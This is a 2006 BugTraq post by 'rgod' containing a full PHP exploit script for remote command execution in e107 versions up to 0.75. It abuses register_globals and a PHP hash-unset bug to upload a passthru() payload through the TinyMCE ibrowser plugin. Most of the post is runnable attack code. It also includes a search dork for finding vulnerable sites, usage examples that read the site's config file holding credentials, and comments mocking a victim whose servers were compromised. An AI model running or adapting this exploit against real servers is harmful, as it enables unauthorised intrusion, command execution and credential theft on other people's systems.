BugTraq
e107 <= 0.75 GLOBALS[] overwrite/Zend_Hash_Del_Key_Or_Index remote commands execution Aug 29 2006 08:05AM
rgod autistici org
#!/usr/bin/php -q -d short_open_tag=on

<?

print_r('

------------------------------------------------------------------------
--------

e107 <= 0.75 GLOBALS[] overwrite/Zend_Hash_Del_Key_Or_Index remote commands

execution exploit

by rgod rgod (at) autistici (dot) org [email concealed]

site: http://retrogod.altervista.org

dork: "This site is powered by e107"|inurl:e107_plugins|e107_handlers|e107_files

------------------------------------------------------------------------
--------

');

/*

works with register_globals=On

against PHP < 4.4.1, 5 < PHP < 5.0.6

*/

if ($argc<4) {

print_r('

------------------------------------------------------------------------
--------

Usage: php '.$argv[0].' host path cmd OPTIONS

host: target server (ip/hostname)

path: path to e107

cmd: a shell command

Options:

-p[port]: specify a port other than 80

-P[ip:port]: specify a proxy

Example:

php '.$argv[0].' localhost /e107/ ls -la -P1.1.1.1:80

php '.$argv[0].' localhost /e107/ cat ./../../../../e107_config.php -p81

------------------------------------------------------------------------
--------

');

die;

}

/*

software site: http://e107.org/

vulnerable code in class2.php near lines 29-37:

...

// Destroy! (if we need to)

if($register_globals == true){

while (list($global) = each($GLOBALS)) {

if (!preg_match('/^(_POST|_GET|_COOKIE|_SERVER|_FILES|GLOBALS|HTTP.*|_REQUE
ST|retrieve_prefs|eplug_admin)$/', $global)) {

unset($$global); [**]

}

}

unset($global);

}

...

and in e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php near lines 26-40:

...

require_once("../../../../class2.php");

if (!defined('e107_INIT')) { exit; }

unset($tinyMCE_imglib_include); //[*]

// include image library config settings

include 'config.php';

$request_uri = urldecode(empty($HTTP_POST_VARS['request_uri'])?(empty($HTTP_GET_VARS['r
equest_uri'])?'':$HTTP_GET_VARS['request_uri']):$HTTP_POST_VARS['request
_uri']);

// if set include file specified in $tinyMCE_imglib_include

if (!empty($tinyMCE_imglib_include))

{

include $tinyMCE_imglib_include; ///[***]

}

...

you can evade [*] by sending the hash keys of $tinyMCE_imglib_include var and

[**] (this *should* unsets the hash keys...) by sending a multipart/form-data

request with the "GLOBALS" var

here [***] the code will include the temporary file and execute our shellcode

see http://www.hardened-php.net/hphp/zend_hash_del_key_or_index_vulnerabilit
y.html

and http://www.hardened-php.net/advisory_202005.79.html

for details about this php vulnerabilities

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "\r\n".$html;

}

$host=$argv[1];

$path=$argv[2];

$cmd="";

$port=80;

$proxy="";

for ($i=3; $i<$argc; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data="-----------------------------7d529a1d23092a\r\n"; #oh, I want to tell you a story, about a Telecom guy *

$data.="Content-Disposition: form-data; name=\"tinyMCE_imglib_include\"; filename=\"suntzu\";\r\n"; #that doesn't know *

$data.="Content-Type: image/jpeg;\r\n\r\n"; #the sovereign art of PHP kung-fu, now is desperate and he's seriously *

$data.="<?php error_reporting(0);set_time_limit(0);echo 'my_delim';passthru('".$cmd."');echo 'my_delim'; die;?>\r\n";# *

$data.="-----------------------------7d529a1d23092a\r\n"; #thinking to kill himself, after he loosed his work *

$data.="Content-Disposition: form-data; name=\"-1203709508\"; filename=\"suntzu\";\r\n";//and his honour and self-respect*

$data.="Content-Type: image/jpeg;\r\n\r\n"; //because of some brave guys that rooted his boxes.*

$data.="1\r\n";# *

$data.="-----------------------------7d529a1d23092a\r\n"; #Now, guy, don't cry anymore, but... do something *

$data.="Content-Disposition: form-data; name=\"225672436\"; filename=\"suntzu\";\r\n"; #useful, please open the PHP *

$data.="Content-Type: image/jpeg;\r\n\r\n"; #manual, like a respectful student. And start to... *

$data.="1\r\n";# *

$data.="-----------------------------7d529a1d23092a\r\n";# *

$data.="Content-Disposition: form-data; name=\"GLOBALS\"; filename=\"suntzu\";\r\n";# *

$data.="Content-Type: image/jpeg;\r\n\r\n";# *

$data.="1\r\n";# *

$data.="-----------------------------7d529a1d23092a--\r\n";# *

$packet ="POST ".$p."e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php HTTP/1.0\r\n";# *

$packet.="Host: ".$host."\r\n";# *

$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";# *

$packet.="Content-Length: ".strlen($data)."\r\n";# *

$packet.="Accept: text/plain\r\n";# *

$packet.="Connection: Close\r\n\r\n";# *

$packet.=$data;# *

sendpacketii($packet);# *

if (strstr($html,"my_delim")){# *

echo "exploit succeeded...\n";$temp=explode("my_delim",$html);die($temp[1]); #...pray *

}

echo "exploit failed... register_globals=off here or wrong PHP version\n";

?>

original url: http://retrogod.altervista.org/e107_075_xpl.html

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